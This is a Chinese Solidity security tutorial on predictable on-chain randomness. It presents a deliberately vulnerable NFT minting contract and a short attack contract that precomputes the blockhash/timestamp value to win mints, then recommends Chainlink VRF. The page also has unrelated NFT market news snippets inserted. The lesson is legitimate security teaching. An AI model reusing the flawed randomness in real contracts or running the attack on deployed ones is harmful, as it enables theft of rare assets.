WTF Solidity 合约安全: S07. 坏随机数

我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。

这一讲，我们将介绍智能合约的坏随机数（Bad Randomness）漏洞和预防方法，这个漏洞经常在 NFT 和 GameFi 中出现，包括 Meebits，Loots，Wolf Game等。

很多以太坊上的应用都需要用到随机数，例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明（public）且确定性（deterministic）的，它没有其他编程语言一样给开发者提供生成随机数的方法，例如random()。很多项目方不得不使用链上的伪随机数生成方法，例如 blockhash() 和 keccak256() 方法。

坏随机数漏洞：攻击者可以事先计算这些伪随机数的结果，从而达到他们想要的目的，例如铸造任何他们想要的稀有NFT而非随机抽取。更多的内容可以阅读 WTF Solidity极简教程 第39讲：伪随机数。

NFT系列“哥布林”goblintown.wtf 交易额突破1亿美元:金色财经报道，据 NFTGo 最新数据显示，“哥布林”goblintown.wtf系列NFT交易额已突破1亿美元，本文撰写时达到1.0185亿美元，但由于地板价跌至0.665 ETH，其市值目前缩水至约3353万美元。[2022/12/29 22:13:11]

下面我们学习一个有坏随机数漏洞的 NFT 合约： BadRandomness.sol。

contract BadRandomness is ERC721 {    uint256 totalSupply;    // 构造函数，初始化NFT合集的名称、代号    constructor() ERC721("", ""){}    // 铸造函数：当输入的 luckyNumber 等于随机数时才能mint    function luckyMint(uint256 luckyNumber) external {        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number        require(randomNumber == luckyNumber, "Better luck next time!");        _mint(msg.sender, totalSupply); // mint        totalSupply++;    }}它有一个主要的铸造函数 luckyMint()，用户调用时输入一个 0-99 的数字，如果和链上生成的伪随机数 randomNumber 相等，即可铸造幸运 NFT。伪随机数使用 blockhash 和 block.timestamp 声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。

Web3开源大学WTF Academy获得Starkware资助，将合作开发ZK和Cairo开源教程:11月5日，据官方消息，Web3开源大学WTF Academy获得以太坊二层扩容方案Starkware的资助，将合作开发ZK和Cairo的中英文开源教程，为以太坊和Layer2培养更多开发者。据介绍，WTF Academy是一个Web3开源学院，提供免费开源Web3技术教程，目前WTF Solidity极简教程已经更新50讲。据此前消息，WTF Academy发布习题测试和链上技能认证模块，并已开启公测。[2022/11/5 12:19:54]

下面我们写个攻击合约 Attack.sol。

contract Attack {    function attackMint(BadRandomness nftAddr) external {        // 提前计算随机数        uint256 luckyNumber = uint256(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        ) % 100;        // 利用 luckyNumber 攻击        nftAddr.luckyMint(luckyNumber);    }}攻击函数 attackMint()中的参数为 BadRandomness合约地址。在其中，我们计算了随机数 luckyNumber，然后将它作为参数输入到 luckyMint() 函数完成攻击。由于attackMint()和luckyMint()将在同一个区块中调用，blockhash和block.timestamp是相同的，利用他们生成的随机数也相同。

goblintown.wtf系列NFT24小时交易额为90.35万美元:金色财经消息，据NFTGo.io数据显示，goblintown.wtf系列NFT总市值达6264万美元，在所有NFT项目总市值排名中位列第38；其24小时交易额为90.35万美元，跌幅达12.69%。截止发稿时，该系列NFT当前地板价为3ETH，涨幅为3.81%。[2022/6/13 4:21:22]

由于 Remix 自带的 Remix VM不支持 blockhash函数，因此你需要将合约部署到以太坊测试链上进行复现。

部署 BadRandomness 合约。

部署 Attack 合约。

将 BadRandomness 合约地址作为参数传入到 Attack 合约的 attackMint() 函数并调用，完成攻击。

调用 BadRandomness 合约的 balanceOf 查看Attack 合约NFT余额，确认攻击成功。

goblintown.wtf系列NFT24小时交易额为102.41万美元:金色财经消息，据NFTGo.io数据显示，goblintown.wtf系列NFT总市值达6238万美元，在所有NFT项目总市值排名中位列第39；其24小时交易额为102.41万美元，跌幅达9.35%。截止发稿时，该系列NFT当前地板价为3.15ETH，跌幅为26.01%。[2022/6/12 4:19:11]

我们通常使用预言机项目提供的链下随机数来预防这类漏洞，例如 Chainlink VRF。这类随机数从链下生成，然后上传到链上，从而保证随机数不可预测。更多介绍可以阅读 WTF Solidity极简教程 第39讲：伪随机数。

这一讲我们介绍了坏随机数漏洞，并介绍了一个简单的预防方法：使用预言机项目提供的链下随机数。NFT 和 GameFi 项目方应避免使用链上伪随机数进行抽奖，以防被黑客利用。

推特：@0xAA_Science｜@WTFAcademy_

goblintown.wtf系列NFT 24小时交易额超700万美元，地板价接近6 ETH:6月1日消息，NFTGo.io数据显示，goblintown.wtf系列NFT 24小时交易额达727.46万美元，涨幅为165.55%。目前地板价达5.95 ETH，24小时涨幅为70.99%。[2022/6/1 3:56:44]

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所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

来源：bress

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